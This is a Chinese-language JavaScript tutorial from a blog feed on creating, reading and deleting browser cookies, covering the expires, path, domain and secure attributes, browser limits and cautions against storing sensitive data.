<p>也可以用另一种网上流传的:(明生推荐使用这种&middot;！！！)</p>
<div class="codes">
<pre class="javascript" name="code">
&lt;script language=&quot;JavaScript&quot; type=&quot;text/JavaScript&quot;&gt; 

//写cookies函数 作者：翟振凯
function SetCookie(name,value)//两个参数，一个是cookie的名子，一个是值
{
    var Days = 30; //此 cookie 将被保存 30 天
    var exp  = new Date();    //new Date(&quot;December 31, 9998&quot;);
    exp.setTime(exp.getTime() + Days*24*60*60*1000);
    document.cookie = name + &quot;=&quot;+ escape (value) + &quot;;expires=&quot; + exp.toGMTString();
}
function getCookie(name)//取cookies函数        
{
    var arr = document.cookie.match(new RegExp(&quot;(^| )&quot;+name+&quot;=([^;]*)(;|$)&quot;));
     if(arr != null) return unescape(arr[2]); return null;

}
function delCookie(name)//删除cookie
{
    var exp = new Date();
    exp.setTime(exp.getTime() - 1);
    var cval=getCookie(name);
    if(cval!=null) document.cookie= name + &quot;=&quot;+cval+&quot;;expires=&quot;+exp.toGMTString();
}

SetCookie (&quot;xiaoqi&quot;, &quot;3&quot;)
alert(getCookie('xiaoqi'));
&lt;/script&gt;

</pre>
</div>
<h2>[JS]Cookie精通之路</h2>
<p><span class="mainfont" id="zoom">&lt;!&mdash;Cookies，有些人喜欢它们，有些人憎恨它们。但是，很少有人真正知道如何使用它们。现在你可以成为少数人中的成员－可以自傲的Cookie 大师。--&gt;<br />
<br />
如果你象作者一样记性不好，那么你可能根本记不住人们的名字。我遇到人时，多半只是点点头，问句&ldquo;吃了嘛！&rdquo;，而且期望问候到此为止。如果还需要表示些什么，那么我就得求助于一些狡猾的技巧，好让我能想对方是谁。比如胡扯起一些和对方有关的人，不管他们之间关系多远，只要能避免不记得对方名字的尴尬就好： &ldquo;你隔壁邻居的侄子的可爱小狗迈菲斯特怎么样？&rdquo;通过这个方法，我希望能让对方感到，我确实很重视他（她），甚至还记得这些琐事，虽然实际上连名字都忘记了。但是，不是我不重视，而是我的记忆力实在是糟糕，而且要记住的名字又实在太多。如果我能给每个人设置cookies，那么我就不会再犯这种记忆力问题了。<br />
<br />
在这篇文章里，我们要学习：<br />
<br />
1. 什么是 Cookies?<br />
2. Cookie 的构成<br />
3. 操纵 Cookies<br />
4. Cookie 怪兽<br />
<br />
什么是Cookies?<br />
<br />
你会问，什么是cookies呢? cookie 是浏览器保存在用户计算机上的少量数据。它与特定的WEB页或WEB站点关联起来，自动地在WEB浏览器和WEB服务器之间传递。<br />
<br />
比如，如果你运行的是Windows操作系统，使用Internet Explorer上网，那么你会发现在你的&ldquo;Windows&rdquo;目录下面有一个子目录，叫做&ldquo;Temporary Internet Files&rdquo;。如果你有空看看这个目录，就会发现里面有一些文件，文件名称看起来就象电子邮件地址。比如在我机器上的这个目录里，就有 &ldquo;jim@support.microsoft.com&rdquo;这样的文件。这是一个cookie 文件，这个文件从哪来呢？猜一猜，它来自微软的支持站点。顺便说一句，这不是我的电子邮件地址，特此澄清。<br />
<br />
对于管理细小的、不重要的、不想保存在中央数据库里的细节信息，Cookies 是个很不错的方案。（这不是说大家的名字不重要。）比如，目前网站上不断增长的自定义服务，可以为每个用户定制他们要看的内容。如果你设计的就是这样一个站点，那么你怎么来管理这样的信息：一个用户喜欢绿色的菜单条，而另一个喜欢红色的。确实是个累人的问题。不过，这样的信息，可以很安全地记录到 cookie，并保存在用户的计算机上，而你自己的数据库空间可以留给更长久更有意义的数据。<br />
<br />
FYI: Cookies 对于安全用途，通常很有用。我不想在此就这一问题过于深入，只是提供一个示例，可以看到如何使用在一段时间之后过期的cookies来保证站点安全：<br />
<br />
1. 使用用户名和口令，通过 SSL 登录。<br />
2. 在服务器的数据库里检查用户名和口令。如果登录成功，建立一个当前时间标签的消息摘要 (比如 MD5) ，并把它保存在cookie和服务器数据库里。把用户的登录时间保存在服务器数据库里面的用户记录里。<br />
3. 在进行每个安全事务时（用户处于登录状态的任何事务），把cookie的消息摘要和保存在服务器数据库里的摘要进行比较，如果比较失败，就把用户引导到登录界面。<br />
4. 如果第3步检查通过，那么检查当前时间和登录时间之音经过的时间是否超过允许的时间长度。如果用户已经超时，那么就把用户引到登录界面。<br />
5. 如果第3步和第4步都通过了，那么把登录时间重新设置成当前时间，允许事务发生。那些需要你登录的安全站点，可能多数使用的都是和这里介绍的类似的方法。<br />
Cookie的构成<br />
<br />
Cookies最初设计时，是为了CGI编程。但是，我们也可以使用Javascript脚本来操纵cookies。在本文里，我们将演示如何使用 Javascript脚本来操纵cookies。(如果有需求，我可能会在以后的文章里介绍如何使用Perl进行cookie管理。但是如果实在等不得，那么我现在就教你一手：仔细看看CGI.pm。在这个CGI包里有一个cookie()函数，可以用它建立cookie。但是，还是让我们先来介绍 cookies的本质。<br />
<br />
在Javascript脚本里，一个cookie 实际就是一个字符串属性。当你读取cookie的值时，就得到一个字符串，里面当前WEB页使用的所有cookies的名称和值。每个cookie除了 name名称和value值这两个属性以外，还有四个属性。这些属性是： expires过期时间、 path路径、 domain域、以及 secure安全。<br />
<br />
Expires &ndash; 过期时间。指定cookie的生命期。具体是值是过期日期。如果想让cookie的存在期限超过当前浏览器会话时间，就必须使用这个属性。当过了到期日期时，浏览器就可以删除cookie文件，没有任何影响。<br />
<br />
Path &ndash; 路径。指定与cookie关联的WEB页。值可以是一个目录，或者是一个路径。如果http://www.zdnet.com/devhead /index.html 建立了一个cookie，那么在http://www.zdnet.com/devhead/目录里的所有页面，以及该目录下面任何子目录里的页面都可以访问这个cookie。这就是说，在http://www.zdnet.com/devhead/stories/articles 里的任何页面都可以访问http://www.zdnet.com/devhead/index.html建立的cookie。但是，如果http: //www.zdnet.com/zdnn/ 需要访问http://www.zdnet.com/devhead/index.html设置的cookes，该怎么办？这时，我们要把cookies 的path属性设置成&ldquo;/&rdquo;。在指定路径的时候，凡是来自同一服务器，URL里有相同路径的所有WEB页面都可以共享cookies。现在看另一个例子：如果想让 http://www.zdnet.com/devhead/filters/ 和http://www.zdnet.com/devhead/stories/共享cookies，就要把path设成&ldquo;/devhead&rdquo;。<br />
<br />
Domain &ndash; 域。指定关联的WEB服务器或域。值是域名，比如zdnet.com。这是对path路径属性的一个延伸。如果我们想让 catalog.mycompany.com 能够访问shoppingcart.mycompany.com设置的cookies，该怎么办? 我们可以把domain属性设置成&ldquo;mycompany.com&rdquo;，并把path属性设置成&ldquo;/&rdquo;。FYI：不能把cookies域属性设置成与设置它的服务器的所在域不同的值。<br />
<br />
Secure &ndash; 安全。指定cookie的值通过网络如何在用户和WEB服务器之间传递。这个属性的值或者是&ldquo;secure&rdquo;，或者为空。缺省情况下，该属性为空，也就是使用不安全的HTTP连接传递数据。如果一个 cookie 标记为secure，那么，它与WEB服务器之间就通过HTTPS或者其它安全协议传递数据。不过，设置了secure属性不代表其他人不能看到你机器本地保存的cookie。换句话说，把cookie设置为secure，只保证cookie与WEB服务器之间的数据传输过程加密，而保存在本地的 cookie文件并不加密。如果想让本地cookie也加密，得自己加密数据。<br />
<br />
<br />
<br />
<br />
操纵Cookies<br />
<br />
请记住，cookie就是文档的一个字符串属性。要保存cookie，只要建立一个字符串，格式是name=&lt;value&gt;（名称＝值），然后把文档的 document.cookie 设置成与它相等即可。比如，假设想保存表单接收到的用户名，那么代码看起来就象这样：<br />
<br />
document.cookie = &quot;username&quot; + escape(form.username.value);<br />
<br />
在这里，使用 escape() 函数非常重要，因为cookie值里可能包含分号、逗号或者空格。这就是说，在读取cookie值时，必须使用对应的unescape()函数给值解码。<br />
<br />
我们当然还得介绍cookie的四个属性。这些属性用下面的格式加到字符串值后面：<br />
<br />
name=&lt;value&gt;[; expires=&lt;date&gt;][; domain=&lt;domain&gt;][; path=&lt;path&gt;][; secure]<br />
<br />
名称=&lt;值&gt;[; expires=&lt;日期&gt;][; domain=&lt;域&gt;][; path=&lt;路径&gt;][; 安全]<br />
<br />
&lt;value&gt;, &lt;date&gt;, &lt;domain&gt; 和 &lt;path&gt; 应当用对应的值替换。&lt;date&gt; 应当使用GMT格式，可以使用Javascript脚本语言的日期类Date的.toGMTString() 方法得到这一GMT格式的日期值。方括号代表这项是可选的。比如在 [; secure]两边的方括号代表要想把cookie设置成安全的，就需要把&quot;; secure&quot; 加到cookie字符串值的后面。如果&quot;; secure&quot; 没有加到cookie字符串后面，那么这个cookie就是不安全的。不要把尖括号&lt;&gt; 和方括号[] 加到cookie里（除非它们是某些值的内容）。设置属性时，不限属性，可以用任何顺序设置。<br />
<br />
下面是一个例子，在这个例子里，cookie &quot;username&quot; 被设置成在15分钟之后过期，可以被服务器上的所有目录访问，可以被&quot;mydomain.com&quot;域里的所有服务器访问，安全状态为安全。<br />
<br />
// Date() 的构造器设置以毫秒为单位<br />
// .getTime() 方法返回时间，单位为毫秒<br />
// 所以要设置15分钟到期，要用60000毫秒乘15分钟<br />
var expiration = new Date((new Date()).getTime() + 15 * 60000);<br />
document.cookie = &quot;username=&quot; + escape(form.username.value)+ &quot;; expires =&quot;<br />
+ expiration.toGMTString() + &quot;; path=&quot; + &quot;/&quot; + &quot;; _<br />
domain=&quot; + &quot;mydomain.com&quot; + &quot;; secure&quot;;<br />
<br />
读取cookies值有点象个小把戏，因为你一次就得到了属于当前文档的所有cookies。<br />
<br />
// 下面这个语句读取了属于当前文档的所有cookies<br />
var allcookies = document.cookie;<br />
<br />
现在，我们得解析allcookies变量里的不同cookies，找到感兴趣的指定cookie。这个工作很简单，因为我们可以利用Javascript语言提供的扩展字符串支持。<br />
<br />
如果我们对前面分配的cookie &quot;username&quot; 感兴趣，可以用下面的脚本来读取它的值。<br />
<br />
// 我们定义一个函数，用来读取特定的cookie值。<br />
function getCookie(cookie_name)<br />
｛<br />
var allcookies = document.cookie;<br />
var cookie_pos = allcookies.indexOf(cookie_name);<br />
<br />
// 如果找到了索引，就代表cookie存在，<br />
// 反之，就说明不存在。<br />
if (cookie_pos != -1)<br />
｛<br />
// 把cookie_pos放在值的开始，只要给值加1即可。<br />
cookie_pos += cookie_name.length + 1;<br />
var cookie_end = allcookies.indexOf(&quot;;&quot;, cookie_pos);<br />
<br />
if (cookie_end == -1)<br />
｛<br />
cookie_end = allcookies.length;<br />
｝<br />
<br />
var value = unescape(allcookies.substring(cookie_pos, cookie_end));<br />
｝<br />
<br />
return value;<br />
｝<br />
<br />
// 调用函数<br />
var cookie_val = getCookie(&quot;username&quot;);<br />
<br />
上面例程里的 cookie_val 变量可以用来生成动态内容，或者发送给服务器端CGI脚本进行处理。现在你知道了使用Javascript脚本操纵cookies的基本方法。但是，如果你跟我一样，那么我们要做的第一件事，就是建立一些接口函数，把cookies处理上的麻烦隐藏起来。不过，在你开始编程之前，稍候片刻。这些工作，早就有人替你做好了。你要做的，只是到哪去找这些接口函数而已。<br />
<br />
比如，在David Flangan的Javascript: The Definitive Guide 3rd Ed.这本书里，可以找到很好的cookie应用类。你也可以在Oreilly的WEB站点上找到这本书里的例子。本文最后的链接列表里，有一些访问这些 cookie示例的直接链接。<br />
<br />
<br />
<br />
Cookies 怪兽<br />
<br />
因为某些原因Cookies 的名声很不好。许多人利用cookies做一些卑鄙的事情，比如流量分析、点击跟踪。Cookies 也不是非常安全，特别是没有secure属性的cookies。不过，即使你用了安全的cookies，如果你和别人共用计算机，比如在网吧，那么别人就可以窥探计算机硬盘上未加密保存的cookie文件，也就有可能窃取你的敏感信息。所以，如果你是一个WEB开发人员，那么你要认真考虑这些问题。不要滥用cookies。不要把用户可能认为是敏感的数据保存在cookies里。如果把用户的社会保险号、信用卡号等保存在cookie里，等于把这些敏感信息放在窗户纸下，无异于把用户投到极大危险之中。一个好的原则是，如果你不想陌生人了解你的这些信息，那就不要把它们保存在cookies里。<br />
<br />
另外，cookies还有一些实际的限制。Cookies保留在计算机上，不跟着用户走。如果用户想换计算机，那么新计算机无法得到原来的cookie。甚至用户在同一台计算机上使用不同浏览器，也得不到原来的cookie：Netscape 不能读取Internet Explorer 的cookies。<br />
<br />
还有，用户也不愿意接受cookies。所以不要以为所有的浏览器都能接受你发出的cookies。如果浏览器不接受cookies，你要保证自己的WEB站点不致因此而崩溃或中断。<br />
<br />
另外WEB 浏览器能保留的cookies不一定能超过300个。也没有标准规定浏览器什么时候、怎么样作废cookies。所以达到限制时，浏览器能够有效地随机删除cookies。浏览器保留的来自一个WEB服务器上的cookies，不超过20个，每个cookie的数据（包括名称和值），不超过4K字节。(不过，本文里的cookie尺寸没问题，它只占了12 K字节，保存在3个3 cookies里。)<br />
<br />
简而言之，注意保持cookie简单。不要依赖cookies的存在，不要在每个cookie里保存太多信息。不要保存太多的cookes。但是，抛除这些限制，在技巧高超的WEB管理员手里，cookie的概念是一个有用的工具。<br />
<br />
外部链接<br />
每个 Javascript 程序员都应当有一份Javascript： David Flanagan 的The Definitive Guide。 这本书里找到cookie 类例程可以帮助你把不止一个变量编码到单一的cookie，克服掉&ldquo;每个WEB服务器20 个cookies的限制&rdquo;。请点击这个链接下载该例程，ftp://ftp.oreilly.com/pub/examples/nutshell /javascript/。</span></p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/Javascript/javascript-cookie.html" target="_blank">继续阅读《JavaScript使用cookie,参数设置,说明;读取,写入,删除函数》的全文内容...</a></p><p>分类: <a href="http://www.abcxd.com/abcxd/abcxdArticle/Javascript.html">(S:)传统学习Javascript</a> | Tags: <a href="http://www.abcxd.com/abcxd/catalog.asp?tags=cookiem">cookiem</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E8%AF%BB%E5%8F%96">读取</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E5%86%99%E5%85%A5">写入</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E5%88%A0%E9%99%A4">删除</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=JavaScript">JavaScript</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E5%AD%A6%E4%B9%A0Javascript">学习Javascript</a>&nbsp;&nbsp; | <a href="http://www.abcxd.com/abcxd/abcxdArticle/Javascript/javascript-cookie.html#comment" target="_blank">添加评论</a>(0)</p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/7788/javascript-flash-reader.html" title="关于flash封装JS代码的一些TIPS">关于flash封装JS代码的一些TIPS</a>&nbsp;&nbsp;(2009-9-23 12:18:47)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/Javascript/Javascript-function.html" title="JavaScript 函数的声明与运用">JavaScript 函数的声明与运用</a>&nbsp;&nbsp;(2009-6-28 16:20:51)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/Javascript/javascript-break-continue.html" title="JavaScript 循环的辅助">JavaScript 循环的辅助</a>&nbsp;&nbsp;(2009-6-27 15:4:17)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/Javascript/JavaScript-for-while.html" title="JavaScript  三大循环">JavaScript  三大循环</a>&nbsp;&nbsp;(2009-6-25 19:28:16)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/Javascript/264.html" title="JavaScript  SWitch条件(case)">JavaScript  SWitch条件(case)</a>&nbsp;&nbsp;(2009-6-24 0:34:58)</p></ul>]]></description><category>(S:)传统学习Javascript</category><comments>http://www.abcxd.com/abcxd/abcxdArticle/Javascript/javascript-cookie.html#comment</comments><wfw:comment>http://www.abcxd.com/abcxd/</wfw:comment><wfw:commentRss>http://www.abcxd.com/abcxd/feed.asp?cmt=289</wfw:commentRss><trackback:ping>http://www.abcxd.com/abcxd/cmd.asp?act=tb&amp;id=289&amp;key=19b48a0b</trackback:ping></item></channel></rss>
